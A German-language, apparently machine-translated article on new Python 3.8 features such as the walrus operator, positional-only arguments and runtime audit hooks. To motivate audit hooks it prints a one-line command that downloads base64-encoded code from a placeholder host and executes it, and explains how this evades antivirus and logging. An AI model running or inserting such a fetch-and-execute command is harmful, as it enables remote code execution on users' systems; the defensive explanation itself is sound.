Python 3.8: Was ist neu und wie wird es verwendet?

Die folgende Übersetzung wurde speziell für Pythonisten erstellt, die sicher über die neuen Python 3.8-Funktionen lesen möchten. In Erwartung des Starts eines neuen Threads im Kurs "Python Developer" konnten wir dieses Thema nicht umgehen.

In diesem Artikel werden wir über die neuen Funktionen sprechen, die in Python 3.8 eingeführt wurden.




Walross-Operator (Zuweisungs-Operator)


Wir wissen, dass Sie darauf gewartet haben. Diese Erwartung geht auf die Tage zurück, als Python absichtlich verboten war, "=" als Vergleichsoperator zu verwenden. Einige Leute mochten dies, weil sie = und == in Zuordnung und Vergleich nicht mehr verwirrten. Andere fanden es unangenehm, den Operator zu wiederholen oder einer Variablen zuzuweisen. Kommen wir zu einem Beispiel.

Laut Guido neigen die meisten Programmierer dazu zu schreiben:

group = re.match(data).group(1) if re.match(data) else None 

Stattdessen

 match = re.match(data) group = match.group(1) if match else None 

Dadurch wird das Programm langsamer ausgeführt. Obwohl es verständlich ist, warum einige Programmierer immer noch nicht auf die erste Weise schreiben, ist der Code unübersichtlich.

Jetzt haben wir die Möglichkeit dazu:

 group = match.group(1) if (match := re.match(data)) else None 

Darüber hinaus ist es nützlich, wenn Sie ifs verwenden, um nicht alles im Voraus zu berechnen.

 match1 = pattern1.match(data) match2 = pattern2.match(data) if match1: result = match1.group(1) elif match2: result = match2.group(2) else: result = None 

Und stattdessen können wir schreiben:

 if (match1 := pattern1.match(data)): result = match1.group(1) elif (match2 := pattern2.match(data)): result = match2.group(2) else: result = None 

Welches ist optimaler, da das zweite if nicht berücksichtigt wird, wenn das erste funktioniert.

Tatsächlich bin ich mit dem PEP-572-Standard sehr zufrieden, da er nicht nur eine zuvor nicht vorhandene Möglichkeit bietet, sondern auch einen anderen Operator verwendet, sodass es nicht einfach ist, ihn mit == zu verwechseln.

Gleichzeitig bietet es jedoch auch neue Möglichkeiten für Fehler und die Erstellung von zuvor nicht funktionsfähigem Code.

 y0 = (y1 := f(x)) 

Positionsargumente


 def f(a, b, /, c, d, *, e, f): print(a, b, c, d, e, f) 

Hier ist alles vor / streng Positionsargumente und alles nach * sind nur Schlüsselwörter.

 f(10, 20, 30, d=40, e=50, f=60) - valid f(10, b=20, c=30, d=40, e=50, f=60) - b cannot be a keyword argument f(10, 20, 30, 40, 50, f=60) - e must be a keyword argument 

Der Umfang dieser Funktion kann in einem Satz ausgedrückt werden. Bibliotheken können ihre Signaturen leichter ändern. Schauen wir uns ein Beispiel an:

 def add_to_queue(item: QueueItem): 

Jetzt sollte der Autor eine solche Signatur unterstützen und der Parametername sollte nicht mehr geändert werden, da diese Änderung kritisch wird. Stellen Sie sich vor, Sie müssen nicht nur ein Element, sondern eine ganze Liste von Elementen ändern:

 def add_to_queue(items: Union[QueueItem, List[QueueItem]]): 

Oder so:

 def add_to_queue(*items: QueueItem): 

Dies ist etwas, was Sie vorher aufgrund möglicher Inkompatibilitäten mit der vorherigen Version nicht tun konnten. Jetzt kannst du. Darüber hinaus ist dies konsistenter mit Designs, die diesen Ansatz bereits verwenden. Beispielsweise können Sie kwargs nicht an die pow-Funktion übergeben.

 >>> help(pow) ... pow(x, y, z=None, /) ... >>> pow(x=5, y=3) Traceback (most recent call last): File "<stdin>", line 1, in <module> TypeError: pow() takes no keyword arguments 

Debuggen mit F-Zeilen


Eine kleine zusätzliche Funktion, mit der wir ein kompaktes Aufnahmeformat in der Form "Variablenname =" verwenden können.

 f"{chr(65) = }" => "chr(65) = 'A'" 

Hast du das nach chr (65) bemerkt? Der gleiche Trick. Es bietet eine kürzere Möglichkeit, Variablen mithilfe von F-Linien zu drucken.

Native Asyncio-Shell


Wenn wir nun die Python-Shell als 'python -m asyncio' ausführen, benötigen wir asyncio.run() nicht mehr, um die asynchronen Funktionen auszuführen. Await kann direkt von der Shell selbst verwendet werden:

 >python -m asyncio asyncio REPL 3.8.0b4 Use “await” directly instead of “asyncio.run()”. Type “help”, “copyright”, “credits” or “license” for more information. >>> import asyncio >>> async def test():await asyncio.sleep(1) … return 'hello' … >>> await test() 'hello' 

Python ruft Laufzeit-Audit-Hooks auf


Die Python-Rantime stützt sich stark auf C. Der darin ausgeführte Code wird jedoch in keiner Weise protokolliert oder verfolgt. Dies macht es schwierig, den Betrieb von Frameworks zum Testen, Frameworks zum Protokollieren und Sicherheitstools zu überwachen, und begrenzt möglicherweise die von der Laufzeit ausgeführten Aktionen.

Jetzt können Sie die durch die Laufzeit ausgelösten Ereignisse beobachten, einschließlich des Betriebs des Modulimportsystems und aller Benutzer-Hooks.

Die neue API lautet wie folgt:

 # Add an auditing hook sys.addaudithook(hook: Callable[[str, tuple]]) # Raise an event with all auditing hooks sys.audit(str, *args) 

Hooks können nicht gelöscht oder ersetzt werden. Bei CPython werden von C stammende Hooks als global betrachtet, während von Python stammende Hooks nur für den aktuellen Interpreter gelten. Globale Hooks werden vor den Interpreter-Hooks ausgeführt.

Ein besonders interessanter und nicht verfolgter Exploit könnte folgendermaßen aussehen:

 python -c “import urllib.request, base64; exec(base64.b64decode( urllib.request.urlopen('http://my-exploit/py.b64') ).decode())” 

Dieser Code wird von den meisten Antivirenprogrammen nicht gescannt, da sie sich auf erkennbaren Code konzentrieren, der beim Laden und Schreiben auf die Festplatte gelesen wird, und base64 reicht aus, um dieses System zu umgehen. Dieser Code besteht auch Sicherheitsstufen wie Dateizugriffssteuerungslisten oder -berechtigungen (wenn kein Dateizugriff erforderlich ist), vertrauenswürdige Anwendungslisten (vorausgesetzt, Python verfügt über alle erforderlichen Berechtigungen) und automatische Überwachung oder Protokollierung (vorausgesetzt, dass Python hat Zugriff auf das Internet oder auf einen anderen Computer im lokalen Netzwerk, mit dem Sie die Nutzdaten abrufen können.

Mit Laufzeitereignis-Hooks können wir entscheiden, wie auf ein bestimmtes Ereignis reagiert werden soll. Wir können das Ereignis entweder registrieren oder den Vorgang vollständig beenden.

multiprocessing.shared_memory


Hilft bei der Verwendung des gleichen Speicherbereichs von verschiedenen Prozessen / Interpreten. Grundsätzlich kann dies dazu beitragen, die Zeit zu reduzieren, die zum Serialisieren von Objekten benötigt wird, um sie zwischen Prozessen zu übertragen. Anstatt zu serialisieren, in die Warteschlange zu stellen und zu deserialisieren, können wir einfach den gemeinsam genutzten Speicher eines anderen Prozesses verwenden.

Pickle-Protokoll und Out-of-Band-Datenpuffer


Das Pickle 5-Protokoll bietet Unterstützung für Out-of-Band-Puffer, bei denen Daten nach Ermessen der Transportschicht getrennt vom Haupt-Pickle-Stream übertragen werden können.

Die beiden vorherigen Add-Ons sind sehr wichtig, wurden jedoch nicht in die Release-Version von Python 3.8 aufgenommen, da noch einige Arbeiten zur Kompatibilität mit altem Code durchgeführt werden. Dies kann jedoch den Ansatz für die parallele Programmierung in Python ändern.

Unterinterpreten


Threads in Python können aufgrund der GIL nicht parallel ausgeführt werden, während Prozesse viele Ressourcen erfordern. Nur der Anfang des Prozesses dauert 100-200 ms und sie verbrauchen auch viel RAM. Aber etwas kann mit ihnen fertig werden, und das sind Unterinterpreten. GIL ist ein Dolmetscher, hat also keine Auswirkungen auf die Arbeit anderer Dolmetscher und startet einfacher als ein Prozess (wenn auch langsamer als ein Thread).

Das Hauptproblem, das in diesem Zusammenhang auftritt, ist die Übertragung von Daten zwischen Interpreten, da sie den Status nicht wie Streams übertragen können. Daher müssen wir eine Art Verbindung zwischen ihnen verwenden. Pickle, Marshal oder JSON können zum Serialisieren und Deserialisieren von Objekten verwendet werden, diese Methode funktioniert jedoch recht langsam. Eine Lösung besteht darin, gemeinsam genutzten Speicher aus einem Prozessmodul zu verwenden.

Teilprozesse scheinen eine gute Lösung für GIL-Probleme zu sein, aber es muss noch ein gewisser Arbeitspool erledigt werden. In einigen Fällen verwendet Python weiterhin "Laufzeitstatus" anstelle von "Interpreterstatus". Zum Beispiel macht der Garbage Collector genau das. Daher müssen Sie Änderungen an vielen internen Modulen vornehmen, um Subinterpreter auf normale Weise verwenden zu können.

Ich hoffe, dass diese Funktionalität bereits in Python Version 3.9 vollständig bereitgestellt werden kann.

Abschließend möchte ich sagen, dass dieser Version ein bestimmter syntaktischer Zucker hinzugefügt wurde sowie einige ernsthafte Verbesserungen in der Arbeit der Bibliotheken und im Ausführungsprozess. Viele interessante Funktionen haben es jedoch nie in die Version geschafft, daher werden wir in Python 3.9 darauf warten.

Quellen:


Source: https://habr.com/ru/post/de472432/


All Articles